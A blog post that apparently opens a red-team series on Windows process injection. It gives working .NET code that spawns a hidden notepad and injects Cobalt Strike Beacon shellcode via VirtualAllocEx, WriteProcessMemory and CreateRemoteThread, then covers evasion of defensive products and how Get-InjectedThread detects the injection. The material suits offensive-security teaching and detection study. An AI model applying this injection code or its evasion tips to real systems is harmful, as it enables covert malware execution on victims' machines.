Blog / June 6, 2021 /
This is the first in a short series of posts designed to explore common (remote) process injection techniques and their OPSEC considerations. Each part will introduce a different technique that will address one or more “weaknesses” previously identified.
This post will analyse the most classical method of injection – the VirtualAllocEx/WriteProcessMemory/CreateRemoteThread pattern; and assumes the caller will spawn the process to inject into.
All code samples are written in .NET 5.
Memory Allocation
VirtualAllocEx will allocate a new region of memory in the target process.
// Spawn the target process
var target = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = @"C:\Windows\System32\notepad.exe",
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
}
};
target.Start();
// Read in the shellcode
var shellcode = File.ReadAllBytes(@"C:\Payloads\beacon.bin");
// Allocate a region of memory
var hMemory = Kernel32.VirtualAllocEx(
target.Handle,
IntPtr.Zero,
shellcode.Length,
Kernel32.MEM_ALLOCATION_TYPE.MEM_RESERVE | Kernel32.MEM_ALLOCATION_TYPE.MEM_COMMIT,
Kernel32.MEM_PROTECTION.PAGE_EXECUTE_READWRITE);
Console.WriteLine("Memory: 0x{0:X}", hMemory);
This will create a zero’d region, large enough to accommodate the shellcode, with RWX (read, write, execute) permissions. The API returns the address of the memory region.
Writing Shellcode
WriteProcessMemory writes the specified buffer into a region of memory. Logically, we write into the region just created. This API returns a boolean, which indicates whether the write was successful or not.
var success = Kernel32.WriteProcessMemory(
target.Handle,
hMemory,
shellcode,
shellcode.Length,
out _);
Once the shellcode has been written, it can be seen in memory of the target process.
Executing Shellcode
CreateRemoteThread creates a new thread in the target process that will execute the shellcode. The start address of the thread will point to the region of memory holding the shellcode. This API returns a handle to the created thread.
var hThread = Kernel32.CreateRemoteThread(
target.Handle,
null,
0,
hMemory,
IntPtr.Zero,
Kernel32.CREATE_THREAD_FLAGS.RUN_IMMEDIATELY,
out _);
This returns a Beacon running within the target process.
OPSEC
RWX
The first aspect many may point out is the initial memory allocation of RWX, which can be somewhat a red flag for defensive products. You are able to initially allocate it as RW, write the shellcode, and then use VirtualProtectEx to make it RX before calling CreateRemoteThread. This works perfectly well for “normal” shellcode such as Beacon, but not for “encoded” shellcode that frameworks such as Metasploit are known for (such as shikata_ga_nai). This is because these shellcode contain a stub which decodes itself in memory and this coding process required write and execute permissions, which leads us back to RWX.
The Cobalt Strike reflective loader also has some additional options that can be specified in the Malleable C2 profile, such as userwx and cleanup. When set to false, userwx will tell the loader not to allocate itself new RWX memory (it will opt for RX); and when cleanup is set to true, the loader will free the allocated memory used to load itself.
R(W)X region not backed by module
If you further inspect the memory regions in the target process, you will see that every RX region is backed by a module on disk, with the obvious exception of the region containing shellcode. If you used RWX, then it will likely be the only RWX in the entire process.
This is because, “normal” behaviour is for a process to load a DLL from on disk (probably from within System32) and this style of reflective DLL injection does not lead back to a DLL on disk.
Thread to Nowhere
Inspecting the running threads in the process also reveals a running thread that is not backed by a module on disk, and is consequently not pointing to an exported function with a module.
Thanks to these indicators, this injection is easy to discover – demonstrated with Jared Atkinson’s Get-InjectedThread script:
PS C:\Users\Rasta> Get-InjectedThread
Name Value
---- -----
KernelPath C:\Windows\System32\notepad.exe
PathMismatch False
AuthenticationPackage
AllocatedMemoryProtection PAGE_READWRITE
UserName \
BaseAddress 2120897789952
IsUniqueThreadToken False
CommandLine "C:\Windows\System32\notepad.exe"
Size 4096
ThreadId 4524
Integrity MEDIUM_MANDATORY_LEVEL
SecurityIdentifier S-1-5-21-3309307143-4008523374-2967785533-1001
MemoryProtection PAGE_READWRITE
LogonType
ProcessName notepad.exe
ProcessId 9256
MemoryState MEM_COMMIT
LogonId
LogonSessionStartTime
Path C:\Windows\System32\notepad.exe
BasePriority 8
MemoryType MEM_MAPPED
Privilege SeChangeNotifyPrivilege
We can see it correctly identified the thread running Beacon – 4524.
In conclusion, this style of injection isn’t good for much other than getting caught. Maybe we can do better in Part 2…